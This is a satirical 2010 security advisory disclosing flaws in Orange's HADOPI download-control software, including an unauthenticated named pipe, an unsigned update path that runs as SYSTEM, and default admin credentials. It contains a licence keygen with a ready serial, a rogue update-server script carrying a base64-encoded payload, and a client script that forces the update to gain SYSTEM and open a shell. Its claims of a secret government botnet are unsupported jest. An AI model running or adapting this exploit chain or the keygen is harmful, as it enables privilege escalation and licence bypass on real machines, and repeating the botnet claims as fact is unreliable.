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Patriotic botnet with Orange's HADOPI software
From: cult dead hadopi <cult.of.the.dead.hadopi () gmail com>
Date: Tue, 15 Jun 2010 14:10:08 +0000

-- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET --


                 --==[ CULT OF THE DEAD HADOPI ]==--
                            Advisory 1

The HADOPI law or Creation and Internet law (French: Loi favorisant la
   diffusion et la protection de la création sur Internet, "law
  promoting the distribution and protection of creative works on the
   internet") is a French law introduced during 2009, attempting to
     control and regulate internet access as a means to encourage
  compliance with copyright laws. "HADOPI" is the government agency
                    created by the eponymous law.

              http://en.wikipedia.org/wiki/HADOPI_law


In fact, HADOPI  is also the secret name of  a French program designed
to  get offensive  capacities  targeting the  Internet.   In order  to
recruit every computer  of the country in this  patriotic botnet (like
in  China),  the government  has  urged  every  citizen to  install  a
software which will prove they do not download music and movies.

But the software is in fact a backdoor...

The first  company helping the  government to recruit bots  is Orange,
the  former  French  national  telecom group. Now,  it  has  become  a
worldwide telecom giant.

A few years  ago, Orange also became a  content provider (football, tv
series, and  many more).  Everyone can now  understand this is  a long
term strategy:

  1. Orange provides contents, such as football, tv shows,...
  2. The Government says every citizen must install a software to
     prove they do not download illegal contents.
  3. Orange provides such a software.
  4. [TOP SECRET] Every computer where this software is at risk can
     become a bot for the French government.


The cult of  the dead HADOPI has decided to disclose  this plot to the
public.


The software
************

You can subscribe to  the service for 2 euros a month  (yes, you pay to
install a rootkit on your computer):

     http://telechargement.assistance.orange.fr/ct/Install-CT.exe

     version: 1.0.0.0
     md5:     a5858eed01b8a842cd63bcec3fd93f14
     date:    June 14, 2010

June  15,  2010: Orange  has  shut  down  the website  providing  the
  binary. For  those who  wants to  look at it,  it is  also available
  here:

      http://rapidshare.com/files/399290129/Install-CT.exe.html


Activating the program
**********************

In order to have the  protection running properly, one has to activate
the software and get a licence. To do so, it connects to:

http://update-cdt.nordnet.fr/hadopi-server-technical-ws-1.0.x/HadopiTechnicalServlet

You  can  check the activation  of  your  software  and  every  French
citizen's one by  connecting to  the  administration  console  of  the
JBoss server account  "admin" and password "admin". This  is now fixed
but was open for 2 days during the week-end.

Nevertheless, we suspect this to be the command center of the botnet.

Anyway, you can also activate  the software without connecting to this
server because:
  1. Every piece of the communication is in clear text.
  2. The software supports the configuration of a proxy.

So, if  you want to be  protected, but not join  the patriotic botnet,
the cult of the dead HADOPI provides a keygen:

                              ------------
$ cat hadopi-keygen.rb
#!/usr/bin/env ruby

require 'digest/md5'
CHARS = %w{ 0 1 2 3 4 5 6 7 8 9 A B C D E F }

serial = "%s%s%s%s-%s%s%s%s-%s%s%s%s-" %
  Array.new(12) { CHARS[rand(CHARS.size)] }
serial << Digest::MD5.hexdigest(serial)[-4,4].upcase

puts serial
                              ------------

If you do not have the capability to run this script, here is a
serial:
                         HADO-PIHA-DOPI-AC7B


However, be  aware that  you can still  be recruited in  the patriotic
botnet at any time...


Useless filtering
*****************

The first public  goal of the software is to  prevent the citizen from
downloading  illegal content.  As  part of  a secret  plot to  build a
patriotic botnet, one could expect it fulfills its first mission.

Currently, the server becomes unresponsive,  and it is not possible to
retrieve a list of signatures to show  how easy it is to bypass it. It
will be for next time :)

A funny thing to note:

The program checks whether a  new process is packed by UPX, PECompact2
or Armadillo, and  if yes... it call the sleep()  function with a time
based on the  size of the executable (WTF?). And  nothing else like an
unpacking process.


A first look at the content protection software
***********************************************

The protecting software has 2 components:
  - cdtsvc(64).exe  is registered as  a Windows  service in  charge of
    inspecting every new software when it starts.
  - cdtgui.exe is the configuration part, running as a simple user. It
    makes it  possible to  look at the  logs, start/stop  the service,
    configure  the application,...   All these  features  are password
    "protected".

An interesting detail, services are digitally signed by France Telecom
S.A.:

sigcheck v1.53 - sigcheck
Copyright (C) 2004-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\program files\controle du telechargement\cdtsvc64.exe:
        Verified:       Signed
        Signing date:   14:35 02/06/2010
        Publisher:      Nordnet
        Description:    Service de Contrôle du téléchargement
        Product:        Contrôle du téléchargement
        Version:        1, 0, 0, 0
        File version:   1, 0, 0, 0

Seems to be interesting on Windows 7 x64 ;)

Note that the password is saved in the registry as:

         SHA1(unicode(password + "Hadopi Secret Partage"))

in the "StartupState" value of the key:

          HKLM\SYSTEM\CurrentControlSet\Services\cdtsvc

So, if you are able to find  collisions on SHA1, you are done.  But if
you could  do it, you  would not care  about this software, so  let us
assume you can not.

Almost retrieving your password
-------------------------------

If you are  protected by this software, and  you forgot your password,
you can still authenticate.  Since the GUI runs as the user, and since
the user is allowed to debug  his own process, you just have to switch
the comparison between the stored password and the entered one.

This method is  very reliable, but will not be  described as there are
other much better ways for lazy guys like us.

Changing the password
---------------------

As  every modern  software handling  secrets, the  protecting software
provides a way  to reset your password. If you forget  it, you have to
give the answer to a secret question.

The answer to this question is stored in the registry.
And it can be accessed by the user himself.
But it is ciphered (using DPAPI).
But the service can decipher and modify the secret answer for us :)

So, the goal is to get access  to this service, even as a user with no
privilege. Fortunately, Orange  provides a way to do  it with internal
communication between processes. See next section (what a suspense :)


Internal communication
----------------------

The multiple  threads (not described  here for clarity of  course) are
communicating    with    each    other    through   a    named    pipe
'\\\\.\pipe\CTPipe'.

NO AUTHENTICATION IS REQUIRED TO SEND/READ MESSAGE ON THIS PIPE.

So, why would we care about a password...

What does it mean?
It means you can administrate the software even as a simple user with
no knowledge of the password!
Really?
Yes, you can!

But there is still more...


Recruiting a bot thanks to Orange and the French government
***********************************************************

Let us assume an evil hacker gets hold of the control server providing
updates  to  every  potential  French  citizen  update-cdt.nordnet.fr.

When  the  software  wants  to be updated,  it  asks the server  for a
file  named  cdtupd.exe.zip.  This file  is downloaded _by the service
cdtsvc_ in  IE's temp files directory.   Then, it is  extracted in its
installation directory, C:\Program Files\Controle du Telechargement\.

Next, this cdtupd.exe is run _by  the service cdtsvc_ with no check at
all, which means with SYSTEM privileges.

Since the updates are not  signed, anyone accessing nordnet.fr can pwn
every Orange customer, including  Orange, and the French government to
recruit bots for their patriotic botnet.



Subverting Orange's patriotic botnet
************************************

The  cult of  the dead  HADOPI was  hoping this  software  designed to
protect the French citizen  from illegal downloading, designed to give
real offensive capacities to the  French government, would at least be
secure.

It is not.

We retrieved some of the commands one can send to the named pipe:
  - 1002: check password
  - 1006: set password
  - 1007: get secret question
  - 1009: check if an update is available
  - 1010: ask for an update
  - 5000: enable/disable the "protection"
  - 5002: get history
  - 5003: get updates history
  - 5004: change the configuration

The  5004 order  is really  interesting:  it can  modify the  internal
configuration (proxy host and  port, updates server address, answer to
the secret question, licensed state).

A  local user  with  no  privilege can  communicate  with the  service
through  the named  pipe,  change  the configuration  to  use a  proxy
server. Then,  the evil bastard  will request an update.   The request
will arrive on the proxy, and the proxy will serve a backdoor (OMG!).

Here is the proxy:

                 ------------
$ cat hadopi-proxy.rb
#!/usr/bin/env ruby

require 'socket'
require 'digest/md5'
require 'base64'
require 'pp'

MAGIC_STR = "Hadopi Secret Partage"
LICENSE_STATE = "ACTIVATED"
SUCCESS = true
MAX_LICENSES = 3
CURRENT_LICENSES = 1
SERVER_ADDR = "http://update-cdt.nordnet.fr/hadopi-server-technical-ws-1.0.x/HadopiTechnicalServlet";
CHECK_FREQ = GRACE_TIME = 1
UPDATE_APP = true
APP_VERSION = "1.0.0.4"

PAYLOAD = <<BASE64
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
AAA=
BASE64

server = TCPServer.new('localhost', 8888)
while (session = server.accept)
  data = ""
  while (input = session.gets) do
    break if input.chop.empty?
    data << input
  end
  puts "[+] Incoming request:\n#{data}\n"

  hash = {}
  params = session.read_nonblock(1024).split('&').collect!{ |param|
    param.split('=')
  }.each { |key,value|
    hash[key.to_sym] = value
  }

  puts "Parameters:"
  pp hash
  puts

  sig = "#{SUCCESS}#{LICENSE_STATE}#{CURRENT_LICENSES}#{CHECK_FREQ}#{UPDATE_APP}"
  sig << APP_VERSION if hash[:method] == "updateApplication"
  sig << "#{date = Time.now.to_i}#{hash[:machineId]}#{MAGIC_STR}#{hash[:hmc]}"

  payload = hash[:method] == "updateApplication" ? Base64.decode64(PAYLOAD) : ""

  response = <<RESP
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA (build:
SVNTag=JBoss_4_2_3_GA date=20080718148)/JBossWeb-2.0
X-Successful: #{SUCCESS}
X-Server-Date: #{date}
X-License-State: #{LICENSE_STATE}
X-Max-Number-Licenses: #{MAX_LICENSES}
X-Current-Number-Licenses: #{CURRENT_LICENSES}
X-Server-Address: #{SERVER_ADDR}
X-Check-Frequency: #{CHECK_FREQ}
X-Grace-Time: #{GRACE_TIME}
X-Update-Application: #{UPDATE_APP}
X-Application-Version: #{APP_VERSION}
X-Hmc: #{Digest::MD5.hexdigest(sig)}
Content-Length: #{payload.size}
Date: #{Time.now}

#{payload}
RESP

  puts "[+] Sending response\n"
  session.print response
  session.puts

  puts "[+] Closing connection"
  session.close
end

                 ------------

Have  this proxy  run  for  instance on  localhost,  then trigger  the
exploit to become  SYSTEM. Here we use the proxy trick  but it is also
possible to change the updates server (ServerAddress):

                 ------------
$ cat ask-brainless-hadopi.rb
###

MSG_CHANGE_CONFIG = 5004
MSG_UPDATE = 1010
PIPE = '\\\\.\pipe\CTPipe'
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 8888
PROXY_CONFIG = 1

class String
  def to_unicode
    (self + "\x00").split(//).map!{|b| b + "\x00"}.join
  end
end

def send_order(type, data = "", flush = false)
  File.open(PIPE, 'a+') do |fd|
    packet = [ 2048, type, 0, $$, 0 ].pack("I5")
    packet << data

    fd.write(packet)
    fd.read(1) if flush
  end
end

puts "[+] Activating proxy"
send_order(MSG_CHANGE_CONFIG, "proxy.config|#{PROXY_CONFIG}".to_unicode, true)

puts "[+] Setting proxy host"
send_order(MSG_CHANGE_CONFIG, "proxy.host|#{PROXY_HOST}".to_unicode, true)

puts "[+] Setting proxy port"
send_order(MSG_CHANGE_CONFIG, "proxy.port|#{PROXY_PORT}".to_unicode, true)

puts "[+] Checking update"
send_order(MSG_UPDATE, "", true)
puts "[+] Forcing update"
send_order(MSG_UPDATE, "", true)

puts "[+] Waiting..."
sleep 5

system("telnet 127.0.0.1 8080")

                 ------------


Hey, this program still has a few secrets to reveal, but it will be for
another time...

There is Internet, and Internet by Orange :)

Greets
******

N. Sarkozy,  Chinese fellows,  C. Albanel,   F. Mitterrand
J-L. Warsmann,    F. Riester,   F. Lefebvre,   J-L. Masson
     J. Myard, M. Thiollière, M. Marland-Militello


-- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET --

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